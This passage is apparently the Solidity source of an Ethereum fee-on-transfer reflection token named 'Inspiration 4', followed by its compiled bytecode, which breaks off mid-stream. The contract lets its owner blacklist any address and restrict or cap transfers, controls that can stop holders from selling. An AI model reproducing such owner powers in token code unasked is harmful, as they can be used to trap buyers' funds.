"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 1;
_teamFee = 2;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.mul(4).div(10));
_marketingFunds.transfer(amount.mul(6).div(10));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 1000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(20);
uint256 tTeam = tAmount.mul(TeamFee).div(20);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612eef565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a12565b61045e565b6040516101789190612ed4565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613091565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129c3565b61048a565b6040516101e09190612ed4565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612935565b610563565b005b34801561021e57600080fd5b50610227610653565b6040516102349190613106565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a8f565b61065c565b005b34801561027257600080fd5b5061027b61070e565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612935565b610780565b6040516102b19190613091565b60405180910390f35b3480156102c657600080fd5b506102cf6107d1565b005b3480156102dd57600080fd5b506102e6610924565b6040516102f39190612e06565b60405180910390f35b34801561030857600080fd5b5061031161094d565b60405161031e9190612eef565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a12565b61098a565b60405161035b9190612ed4565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a4e565b6109a8565b005b34801561039957600080fd5b506103a2610af8565b005b3480156103b057600080fd5b506103b9610b72565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ae1565b6110c8565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612987565b61120e565b6040516104189190613091565b60405180910390f35b60606040518060400160405280600d81526020017f496e737069726174696f6e203400000000000000000000000000000000000000815250905090565b600061047261046b611295565b848461129d565b6001905092915050565b60006512309ce54000905090565b6000610497848484611468565b610558846104a3611295565b610553856040518060600160405280602881526020016137ca60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610509611295565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c279092919063ffffffff16565b61129d565b600190509392505050565b61056b611295565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ef90612fd1565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610664611295565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106e890612fd1565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661074f611295565b73ffffffffffffffffffffffffffffffffffffffff161461076f57600080fd5b600047905061077d81611c8b565b50565b60006107ca600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dac565b9050919050565b6107d9611295565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610866576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085d90612fd1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600281526020017f4934000000000000000000000000000000000000000000000000000000000000815250905090565b600061099e610997611295565b8484611468565b6001905092915050565b6109b0611295565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3490612fd1565b60405180910390fd5b60005b8151811015610af4576001600a6000848481518110610a88577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aec906133a7565b915050610a40565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b39611295565b73ffffffffffffffffffffffffffffffffffffffff1614610b5957600080fd5b6000610b6430610780565b9050610b6f81611e1a565b50565b610b7a611295565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bfe90612fd1565b60405180910390fd5b600f60149054906101000a900460ff1615610c57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4e90613051565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ce430600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166512309ce5400061129d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d2a57600080fd5b505afa158015610d3e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d62919061295e565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dc457600080fd5b505afa158015610dd8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dfc919061295e565b6040518363ffffffff1660e01b8152600401610e19929190612e21565b602060405180830381600087803b158015610e3357600080fd5b505af1158015610e47573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e6b919061295e565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ef430610780565b600080610eff610924565b426040518863ffffffff1660e01b8152600401610f2196959493929190612e73565b6060604051808303818588803b158015610f3a57600080fd5b505af1158015610f4e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f739190612b0a565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff02191690831515021790555064e8d4a510006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611072929190612e4a565b602060405180830381600087803b15801561108c57600080fd5b505af11580156110a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110c49190612ab8565b5050565b6110d0611295565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461115d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115490612fd1565b60405180910390fd5b600081116111a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119790612f91565b60405180910390fd5b6111cc60646111be836512309ce5400061211490919063ffffffff16565b61218f90919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516112039190613091565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561130d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130490613031565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561137d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137490612f51565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161145b9190613091565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114cf90613011565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611548576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153f90612f11565b60405180910390fd5b6000811161158b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158290612ff1565b60405180910390fd5b611593610924565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160157506115d1610924565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b6457600f60179054906101000a900460ff1615611834573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168357503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116dd5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117375750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183357600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661177d611295565b73ffffffffffffffffffffffffffffffffffffffff1614806117f35750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117db611295565b73ffffffffffffffffffffffffffffffffffffffff16145b611832576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182990613071565b60405180910390fd5b5b5b60105481111561184357600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118e75750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118f057600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561199b5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119f15750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a095750600f60179054906101000a900460ff165b15611aaa5742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a5957600080fd5b603c42611a6691906131c7565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ab530610780565b9050600f60159054906101000a900460ff16158015611b225750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b3a5750600f60169054906101000a900460ff165b15611b6257611b4881611e1a565b60004790506000811115611b6057611b5f47611c8b565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c0b5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c1557600090505b611c21848484846121d9565b50505050565b6000838311158290611c6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c669190612eef565b60405180910390fd5b5060008385611c7e91906132a8565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cee600a611ce060048661211490919063ffffffff16565b61218f90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d19573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d7d600a611d6f60068661211490919063ffffffff16565b61218f90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611da8573d6000803e3d6000fd5b5050565b6000600654821115611df3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dea90612f31565b60405180910390fd5b6000611dfd612206565b9050611e12818461218f90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e78577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611ea65781602001602082028036833780820191505090505b5090503081600081518110611ee4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f8657600080fd5b505afa158015611f9a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fbe919061295e565b81600181518110611ff8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061205f30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461129d565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120c39594939291906130ac565b600060405180830381600087803b1580156120dd57600080fd5b505af11580156120f1573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6000808314156121275760009050612189565b60008284612135919061324e565b9050828482612144919061321d565b14612184576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161217b90612fb1565b60405180910390fd5b809150505b92915050565b60006121d183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612231565b905092915050565b806121e7576121e6612294565b5b6121f28484846122c5565b80612200576121ff612490565b5b50505050565b60008060006122136124a2565b9150915061222a818361218f90919063ffffffff16565b9250505090565b60008083118290612278576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161226f9190612eef565b60405180910390fd5b5060008385612287919061321d565b9050809150509392505050565b60006008541480156122a857506000600954145b156122b2576122c3565b600060088190555060006009819055505b565b6000806000806000806122d7876124fb565b95509550955095509550955061233586600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461256390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123ca85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125ad90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124168161260b565b61242084836126c8565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161247d9190613091565b60405180910390a3505050505050505050565b60016008819055506002600981905550565b6000806000600654905060006512309ce5400090506124d26512309ce5400060065461218f90919063ffffffff16565b8210156124ee576006546512309ce540009350935050506124f7565b81819350935050505b9091565b60008060008060008060008060006125188a600854600954612702565b9250925092506000612528612206565b9050600080600061253b8e878787612798565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006125a583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c27565b905092915050565b60008082846125bc91906131c7565b905083811015612601576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125f890612f71565b60405180910390fd5b8091505092915050565b6000612615612206565b9050600061262c828461211490919063ffffffff16565b905061268081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125ad90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126dd8260065461256390919063ffffffff16565b6006819055506126f8816007546125ad90919063ffffffff16565b6007819055505050565b60008060008061272e6014612720888a61211490919063ffffffff16565b61218f90919063ffffffff16565b90506000612758601461274a888b61211490919063ffffffff16565b61218f90919063ffffffff16565b9050600061278182612773858c61256390919063ffffffff16565b61256390919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127b1858961211490919063ffffffff16565b905060006127c8868961211490919063ffffffff16565b905060006127df878961211490919063ffffffff16565b90506000612808826127fa858761256390919063ffffffff16565b61256390919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061283461282f84613146565b613121565b9050808382526020820190508285602086028201111561285357600080fd5b60005b858110156128835781612869888261288d565b845260208401935060208301925050600181019050612856565b5050509392505050565b60008135905061289c81613784565b92915050565b6000815190506128b181613784565b92915050565b600082601f8301126128c857600080fd5b81356128d8848260208601612821565b91505092915050565b6000813590506128f08161379b565b92915050565b6000815190506129058161379b565b92915050565b60008135905061291a816137b2565b92915050565b60008151905061292f816137b2565b92915050565b60006020828403121561294757600080fd5b60006129558482850161288d565b91505092915050565b60006020828403121561297057600080fd5b600061297e848285016128a2565b91505092915050565b6000806040838503121561299a57600080fd5b60006129a88582860161288d565b92505060206129b98582860161288d565b9150509250929050565b6000806000606084860312156129d857600080fd5b60006129e68682870161288d565b93505060206129f78682870161288d565b9250506040612a088682870161290b565b9150509250925092565b60008060408385031215612a2557600080fd5b6000612a338582860161288d565b9250506020612a448582860161290b565b9150509250929050565b600060208284031215612a6057600080fd5b600082013567ffffffffffffffff811115612a7a57600080fd5b612a86848285016128b7565b91505092915050565b600060208284031215612aa157600080fd5b6000612aaf848285016128e1565b91505092915050565b600060208284031215612aca57600080fd5b6000612ad8848285016128f6565b91505092915050565b600060208284031215612af357600080fd5b6000612b018482850161290b565b91505092915050565b600080600060608486031215612b1f57600080fd5b6000612b2d86828701612920565b9350506020612b3e86828701612920565b9250506040612b4f86828701612920565b9150509250925092565b6000612b658383612b71565b60208301905092915050565b612b7a816132dc565b82525050565b612b89816132dc565b82525050565b6000612b9a82613182565b612ba481856131a5565b9350612baf83613172565b8060005b83811015612be0578151612bc78882612b59565b9750612bd283613198565b925050600181019050612bb3565b5085935050505092915050565b612bf6816132ee565b82525050565b612c0581613331565b82525050565b6000612c168261318d565b612c2081856131b6565b9350612c30818560208601613343565b612c398161347d565b840191505092915050565b6000612c516023836131b6565b9150612c5c8261348e565b604082019050919050565b6000612c74602a836131b6565b9150612c7f826134dd565b604082019050919050565b6000612c976022836131b6565b9150612ca28261352c565b604082019050919050565b6000612cba601b836131b6565b9150612cc58261357b565b602082019050919050565b6000612cdd601d836131b6565b9150612ce8826135a4565b602082019050919050565b6000612d006021836131b6565b9150612d0b826135cd565b604082019050919050565b6000612d236020836131b6565b9150612d2e8261361c565b602082019050919050565b6000612d466029836131b6565b9150612d5182613645565b604082019050919050565b6000612d696025836131b6565b9150612d7482613694565b604082019050919050565b6000612d8c6024836131b6565b9150612d97826136e3565b604082019050919050565b6000612daf6017836131b6565b9150612dba82613732565b602082019050919050565b6000612dd26011836131b6565b9150612ddd8261375b565b602082019050919050565b612df18161331a565b82525050565b612e0081613324565b82525050565b6000602082019050612e1b6000830184612b80565b92915050565b6000604082019050612e366000830185612b80565b612e436020830184612b80565b9392505050565b6000604082019050612e5f6000830185612b80565b612e6c6020830184612de8565b9392505050565b600060c082019050612e886000830189612b80565b612e956020830188612de8565b612ea26040830187612bfc565b612eaf6060830186612bfc565b612ebc6080830185612b80565b612ec960a0830184612de8565b979650505050505050565b6000602082019050612ee96000830184612bed565b92915050565b60006020820190508181036000830152612f098184612c0b565b905092915050565b60006020820190508181036000830152612f2a81612c44565b9050919050565b60006020820190508181036000830152612f4a81612c67565b9050919050565b60006020820190508181036000830152612f6a81612c8a565b9050919050565b60006020820190508181036000830152612f8a81612cad565b9050919050565b60006020820190508181036000830152612faa81612cd0565b9050919050565b60006020820190508181036000830152612fca81612cf3565b9050919050565b60006020820190508181036000830152612fea81612d16565b9050919050565b6000602082019050818103600083015261300a81612d39565b9050919050565b6000602082019050818103600083015261302a81612d5c565b9050919050565b6000602082019050818103600083015261304a81612d7f565b9050919050565b6000602082019050818103600083015261306a81612da2565b9050919050565b6000602082019050818103600083015261308a81612dc5565b9050919050565b60006020820190506130a66000830184612de8565b92915050565b600060a0820190506130c16000830188612de8565b6130ce6020830187612bfc565b81810360408301526130e08186612b8f565b90506130ef6060830185612b80565b6130fc6080830184612de8565b9695505050505050565b600060208201905061311b6000830184612df7565b92915050565b600061312b61313c565b90506131378282613376565b919050565b6000604051905090565b600067ffffffffffffffff8211156131615761316061344e565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131d28261331a565b91506131dd8361331a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613212576132116133f0565b5b828201905092915050565b60006132288261331a565b91506132338361331a565b9250826132435761324261341f565b5b828204905092915050565b60006132598261331a565b91506132648361331a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561329d5761329c6133f0565b5b828202905092915050565b60006132b38261331a565b91506132be8361331a565b9250828210156132d1576132d06133f0565b5b828203905092915050565b60006132e7826132fa565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061333c8261331a565b9050919050565b60005b83811015613361578082015181840152602081019050613346565b83811115613370576000848401525b50505050565b61337f8261347d565b810181811067ffffffffffffffff8211171561339e5761339d61344e565b5b80604052505050565b60006133b28261331a565b91507fffffffffffffffffffffffffffffffffffff